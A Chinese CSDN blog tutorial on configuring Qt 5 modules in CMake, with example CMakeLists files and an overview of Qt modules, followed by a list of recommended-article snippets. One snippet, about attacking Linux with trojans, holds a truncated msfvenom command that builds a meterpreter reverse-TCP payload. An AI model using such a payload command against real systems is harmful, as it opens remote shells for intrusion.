CMake中添加Qt模块的合理方法_cmake测试代码中能定义qt类吗-程序员宅基地

技术标签: C++  

用CMake来组织的工程中要用Qt首先要设置、找到Qt相关模块。主要是通过find_package这个CMake命令。但网上很多教程都过时了,或者不够清晰灵活。因为这部分很常用,所以特别用一篇文章把我们目前在生产环境中使用的方法给大家介绍下。

设置Qt库路径

Qt版本很多,我们的开发机上一般也装有多个不同版本的Qt。个人尝试性的项目一般用最新版的Qt,而真正发布的产品一般用的是LTS版本Qt(LTS:Long Term Support,长期支持版本,目前最新的LTS是5.9)。

我们的方法是在系统中添加多个环境变量。例如我电脑上装有4个版本:Qt 5.9.4和Qt5.10.1的32位和64位库。所以有4个环境变量:

  

环境变量名
QTDIR594 C:\Qt\Qt5.9.4\5.9.4\msvc2015
QTDIR594_64 C:\Qt\Qt5.9.4\5.9.4\msvc2015_64
QTDIR5101 C:\Qt\Qt5.10.1\5.10.1\msvc2015
QTDIR5101_64 C:\Qt\Qt5.10.1\5.10.1\msvc2015_64

然后在CMakeLists中添加:

set(CMAKE_PREFIX_PATH $ENV{QTDIR594})

通过在$ENV{}里选择不同的环境变量就可以切换不同的Qt版本。

查找Qt模块

网上很多CMake查找Qt方法都是过时的Qt4的方法。现在正确的、最新的方法是:

find_package(Qt5 COMPONENTS Core Gui Qml Quick REQUIRED)

Components后面加的就是这个工程中会用到的Qt模块,例如上面就用到了Core、Gui、Qml、Quick这几个模块,也是一般一个Qt Quick程序必须用到的几个模块。

打开相关自动选项

Qt Quick程序中的QRC资源文件需要用rcc来进行预处理,生成相应.h.cpp文件。QObject派生的C++类也需要通过moc进行处理。这些都是编译系统中所谓的Rules。CMake中通过打开下面两个选项可以自动对这些后缀的文件进行相应处理:

set(CMAKE_AUTOMOC ON)
set(CMAKE_AUTORCC ON)

由于生成的C++文件都是放在编译目录里的(在Shadow Building中有别于源码目录),所以还需要将编译目录包含到Include目录,否则编译器会找不到这些头文件:

set(CMAKE_INCLUDE_CURRENT_DIR ON)

链接时设置相应模块

最后一步是在链接的时候把用到的Qt库写上去:

target_link_libraries(${PROJECT_NAME}  Qt5::Core Qt5::Gui Qt5::Qml Qt5::Quick)

这样就能链接上用到的Qt库了。

完整的CMake例子

上面只是着重说明了CMake关于添加Qt模块的代码,一个完整的CMake例子肯定不止上面这些。下面就贴出一个完整的例子:

 

cmake_policy(VERSION 3.9)
project(Demo VERSION 0.1)
cmake_minimum_required(VERSION 3.9)

set(CMAKE_CXX_STANDARD 11)
set(CMAKE_INCLUDE_CURRENT_DIR ON)
set(CMAKE_AUTOMOC ON)
set(CMAKE_AUTORCC ON)

set(CMAKE_PREFIX_PATH $ENV{QTDIR594})
find_package(Qt5 COMPONENTS Core Gui Qml Quick REQUIRED)

set(HEADERS 
    appglobal.h
)

set(SOURCES 
    main.cpp
    appglobal.cpp
)

set(RESOURCES 
    qml.qrc
)

set(QMLS
    main.qml
)

add_executable(${PROJECT_NAME} ${HEADERS} ${SOURCES} ${RESOURCES} ${QMLS})
target_link_libraries(${PROJECT_NAME}  Qt5::Core Qt5::Gui Qt5::Qml Qt5::Quick)

 

 

当需求复杂之后CMake中还会有很多命令,这个以后我们介绍具体技术的时候再讲。

 

自己写的例子:
cmake_minimum_required(VERSION 2.8)
project(Demo)
set(CMAKE_PREFIX_PATH /home/qilin64/Qt5.6.0/5.6/)
set(CMAKE_CXX_STANDARD 11)
set(CMAKE_INCLUDE_CURRENT_DIR ON)
set(CMAKE_AUTOMOC ON)
set(CMAKE_AUTORCC ON)
set(CMAKE_AUTOUIC ON)
file(GLOB_RECURSE SOURCES "*.cpp")
file(GLOB_RECURSE HEADERS "*.h")
file(GLOB_RECURSE FORMS "*.ui")
file(GLOB_RECURSE RESOURCES "*.qrc")
find_package(Qt5 COMPONENTS Core Gui Qml Quick Widgets REQUIRED)
add_executable(${PROJECT_NAME} ${SOURCES} ${HEADERS} ${FORMS} ${RESOURCES})
target_link_libraries(${PROJECT_NAME}  Qt5::Core Qt5::Gui Qt5::Qml Qt5::Quick Qt5::Widgets)

 

qt的模块介绍

Qt 基础模块分为以下几个:

Qt Core,提供核心的非 GUI 功能,所有模块都需要这个模块。这个模块的类包括了动画框架、定时器、各个容器类、时间日期类、事件、IO、JSON、插件机制、智能指针、图形(矩形、路径等)、线程、XML 等。所有这些类都可以通过  头文件引入。

Qt Gui,提供 GUI 程序的基本功能,包括与窗口系统的集成、事件处理、OpenGL 和 OpenGL ES 集成、2D 图像、字体、拖放等。这些类一般由 Qt 用户界面类内部使用,当然也可以用于访问底层的 OpenGL ES 图像 API。Qt Gui 模块提供的是所有图形用户界面程序都需要的通用功能。

Qt Multimedia,提供视频、音频、收音机以及摄像头等功能。这些类可以通过  引入,而且需要在 pro 文件中添加 QT += multimedia。

Qt Network,提供跨平台的网络功能。这些类可以通过  引入,而且需要在 pro 文件中添加 QT += network。

Qt Qml,提供供 QML(一种脚本语言,也提供 JavaScript 的交互机制) 使用的 C++ API。这些类可以通过  引入,而且需要在 pro 文件中添加 QT += qml。

Qt Quick,允许在 Qt/C++ 程序中嵌入 Qt Quick(一种基于 Qt 的高度动画的用户界面,适合于移动平台开发)。这些类可以通过  引入,而且需要在 pro 文件中添加 QT += quick。

Qt SQL,允许使用 SQL 访问数据库。这些类可以通过  引入,而且需要在 pro 文件中添加 QT += sql。

Qt Test,提供 Qt 程序的单元测试功能。这些类可以通过  引入,而且需要在 pro 文件中添加 QT += testlib。

Qt Webkit,基于 WebKit2 的实现以及一套全新的 QML API(顺便说一下,Qt 4.8 附带的是 QtWebkit 2.2)。

 

Qt 扩展模块则有更多的选择:

Qt 3D,提供声明式语法,在 Qt 程序中可以简单地嵌入 3D 图像。Qt 3D 为 Qt Quick 添加了 3D 内容渲染。Qt 3D 提供了 QML 和 C++ 两套 API,用于开发 3D 程序。

Qt Bluetooth,提供用于访问蓝牙无线设备的 C++ 和 QML API。

Qt Contacts,用于访问地址簿或者联系人数据库的 C++ 和 QML API。

Qt Concurrent,封装了底层线程技术的类库,方便开发多线程程序。

Qt D-Bus,这是一个仅供 Unix 平台使用的类库,用于利用 D-Bus 协议进行进程间交互。

Qt Graphical Effects,提供一系列用于实现图像特效的类,比如模糊、锐化等。

Qt Image Formats,支持图片格式的一系列插件,包括 TIFF、MNG、TGA 和 WBMP。

Qt JS Backend,该模块没有公开的 API,是 V8 JavaScript 引擎的一个移植。这个模块仅供 QtQml 模块内部使用。

Qt Location,提供定位机制、地图和导航技术、位置搜索等功能的 QML 和 C++ API。

Qt OpenGL,方便在 Qt 应用程序中使用 OpenGL。该模块仅仅为了程序从 Qt 4 移植到 Qt 5 的方便才保留下来,如果你需要在新的 Qt 5 程序中使用 OpenGL 相关技术,需要使用的是 QtGui 模块中的 QOpenGL。

Qt Organizer,使用 QML 和 C++ API 访问组织事件(organizer event)。organizer API 是 Personal Information Management API 的一部分,用于访问 Calendar 信息。通过 Organizer API 可以实现:从日历数据库访问日历时间、导入 iCalendar 事件或者将自己的事件导出到 iCalendar。

Qt Print Support,提供对打印功能的支持。

Qt Publish and Subscribe,为应用程序提供对项目值的读取、导航、订阅等的功能。

Qt Quick 1,从 Qt 4 移植过来的 QtDeclarative 模块,用于提供与 Qt 4 的兼容。如果你需要开发新的程序,需要使用 QtQuick 模块。

Qt Script,提供脚本化机制。这也是为提供与 Qt 4 的兼容性,如果要使用脚本化支持,请使用 QtQml 模块的 QJS* 类。

Qt Script Tools,为使用了 Qt Script 模块的应用程序提供的额外的组件。

Qt Sensors,提供访问各类传感器的 QML 和 C++ 接口。

Qt Service Framework,提供客户端发现其他设备的服务。Qt Service Framework 为在不同平台上发现、实现和访问服务定义了一套统一的机制。

Qt SVG,提供渲染和创建 SVG 文件的功能。

Qt System Info,提供一套 API,用于发现系统相关的信息,比如电池使用量、锁屏、硬件特性等。

Qt Tools,提供了 Qt 开发的方便工具,包括 Qt CLucene、Qt Designer、Qt Help 以及 Qt UI Tools 。

Qt Versit,提供了对 Versit API 的支持。Versit API 是 Personal Information Management API 的一部分,用于 QContacts 和 vCard 以及 QOrganizerItems 和 iCalendar 之间的相互转换。

Qt Wayland,仅用于 Linux 平台,用于替代 QWS,包括 Qt Compositor API(server)和 Wayland 平台插件(clients)。

Qt WebKit,从 Qt 4 移植来的基于 WebKit1 和 QWidget 的 API。

Qt Widgets,使用 C++ 扩展的 Qt Gui 模块,提供了一些界面组件,比如按钮、单选框等。

Qt XML,SAX 和 DOM 的 C++ 实现。该模块已经废除,请使用 QXmlStreamReader/Writer。

Qt XML Patterns,提供对 XPath、XQuery、XSLT 和 XML Schema 验证的支持

 

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/developerof/article/details/108525160

智能推荐

整个元素周期表通用,AI 即时预测材料结构与特性-程序员宅基地

文章浏览阅读264次。编辑 | 绿萝材料的性质由其原子排列决定。然而,现有的获得这种排列的方法要么过于昂贵,要么对许多元素无效。现在,加州大学圣地亚哥分校纳米工程系的研究人员开发了一种人工智能算法,可以几乎即时地预测任何材料(无论是现有材料还是新材料)的结构和动态特性。该算法被称为 M3GNet,用于开发 matterverse.ai 数据库,该数据库包含超过 3100 万种尚未合成的材料,其特性由机器学习算法预测。M..._人工智能预测材料属性

Docker & Nvidia-docker 镜像基础操作_dokcer怎么使用nvidia作为基础镜像-程序员宅基地

文章浏览阅读5.8k次,点赞2次,收藏25次。简述 docker & nvidia-docker感觉是深度学习的环境配置与部署简化很多,下面记录一下基础的命令,为自己后续用到查阅。在使用之前请先安装好NVIDIA驱动,CUDA以及docker & nvidia-docker的基本环境。docker & nvidia-docker 导入与导出镜像导出镜像:nvidia-docker save -o /save_p..._dokcer怎么使用nvidia作为基础镜像

测试生成攻击Linux操作系统的木马命令_linux msfvenom -p linux/x64/meterpreter/reverse_tc-程序员宅基地

文章浏览阅读312次,点赞6次,收藏9次。你看你以为黑客有多牛呢,都是在利用别人的工具呢。_linux msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=你的 ip lport=你监

12款程序员专用chrome插件神器推荐_谷歌按键精灵插件中文-程序员宅基地

文章浏览阅读2.8k次。前言对于从事IT行业的我们来说,几乎无时无刻都在用chrome浏览器,因为它给我们的工作和生活带来了极大的便利。今天给大家分享11款牛逼的chrome插件。1. 谷歌翻译很多小伙伴,英语不太好,包括我自己,英语刚过四级。从事软件相关工作时,有时有些吃力,因为很多优秀的技术网站、书籍或者文章都是老外写的,如果因为看不懂就放弃阅读,我们将会少了很多学习和进步的机会。今天分享的第一个神器就是:谷歌翻译。在没使用谷歌翻译之前,访问https://docs.mongodb.com/drivers/java/_谷歌按键精灵插件中文

python如何做抢东西软件,python爬虫小程序抢购-程序员宅基地

文章浏览阅读749次,点赞28次,收藏20次。每到双十一,各位男性朋友们就要大吐血了,万一女朋友想要的东西还没有抢到,就要更加…所以我便创造了这个自动抢购的脚本,希望对你们有用① Python所有方向的学习路线图,清楚各个方向要学什么东西② 600多节Python课程视频,涵盖必备基础、爬虫和数据分析③ 100多个Python实战案例,含50个超大型项目详解,学习不再是只会理论④ 20款主流手游迫解 爬虫手游逆行迫解教程包⑤ 爬虫与反爬虫攻防教程包,含15个大型网站迫解⑥ 爬虫APP逆向实战教程包,含45项绝密技术详解。

BeautifulSoup库的使用-程序员宅基地

文章浏览阅读328次。1.简介BeautifulSoup库也是一个HTML/XML的解析器,其使用起来很简单,但是其实解析网站用xpath和re已经足矣,这个库其实很少用到。因为其占用内存资源还是比xpath更高。'''BeautifulSoup库和lxml一样,BeautifulSoup也是一个HTML/XML的解析器,主要的功能也是解析和提取HTML/XML数据。LXML只会局..._src="//vm.gtimg.cn/tencentvideo/txp/js/plugins/uiwindowfullscreen.e86410.js?

随便推点

配置密钥方法-程序员宅基地

文章浏览阅读1.3k次。1 git config --global user.name “你的账号”2 git config --global user.email “邮箱”3 查询账号 :git config user.name4 ssh-keygen -t rsa -C “邮箱”5 cd ~/.ssh6 cat id_rsa.pub (返回一串密钥字母)7 将其配置在setting下的密钥中..._配置密钥

Ubuntu 使用命令向QQ邮箱发送邮件_linux mailutils设置发送邮箱-程序员宅基地

文章浏览阅读3.4w次,点赞6次,收藏9次。1、安装heirloom-mailxsudo apt-get install heirloom-mailx2. 修改/etc/s-nail.rc中来添加外部SMTP服务器如下:这是个只读文件,先改权限: sudo chmod 777 /etc/s-nail.rc在普通用户下执行:vim /etc/s-nail.rc在文件最后加上:【把××××××××××换成你的邮箱地址】set from=××××××××××@qq.comset smtp=smtps://s_linux mailutils设置发送邮箱

python实现感知器模型_感知器python-程序员宅基地

文章浏览阅读157次。在训练过程中,每个迭代步骤都会输出当前的损失函数值和超平面的权重和偏置。在本例中,使用了三个数据点进行训练,因此可以得到多个超平面来进行分类。最终,训练后的超平面参数被输出,可以用于测试新的数据点。_感知器python

python修改ABAQUS的inp计算文件_python修改abaqus的inp文件的热导率-程序员宅基地

文章浏览阅读1.5k次。python修改ABAQUS的inp计算文件这里的函数可以与上一个博客Matlab-python-ABAQUS数据交互及联合使用的函数接口相互配合和集成,实现matlab与Abaqus进行联合仿真计算,大体思路如下图所示。在这里插入图片描述因此这里matlab和python各写一个接口函数,实现对数据的处理。matlab函数function modify(Path,InpFile,NewData)%modify.m%libing403,2017-05-09ReqFile=[Path,’\mo_python修改abaqus的inp文件的热导率

传统的时序模型预测_时序模型预测法-程序员宅基地

文章浏览阅读8.2k次,点赞8次,收藏49次。1)平滑法2)趋势拟合法3)组合模型4)AR模型5)MA模型 6)ARMA模型7)ARIMA模型8)ARCH模型和GARCH模型周五听了一讲报告,报告中老师讲述了传统的时序模型预测问题,因为认真的记录了笔记,所以利用今天时间整理出来,供以后学习作参考。传统的时序模型预测问题一共有8类模型:1)平滑法平滑法常用于趋势分析和预..._时序模型预测法

通过SecureCRT在开发板与电脑端传输文件_64位核心使用crt串口线烧写上传文件格式为-程序员宅基地

文章浏览阅读1.7k次。电脑上传文件到开发板:rz 命令开发板下载文件电脑端:sz +文件名_64位核心使用crt串口线烧写上传文件格式为

推荐文章

热门文章

相关标签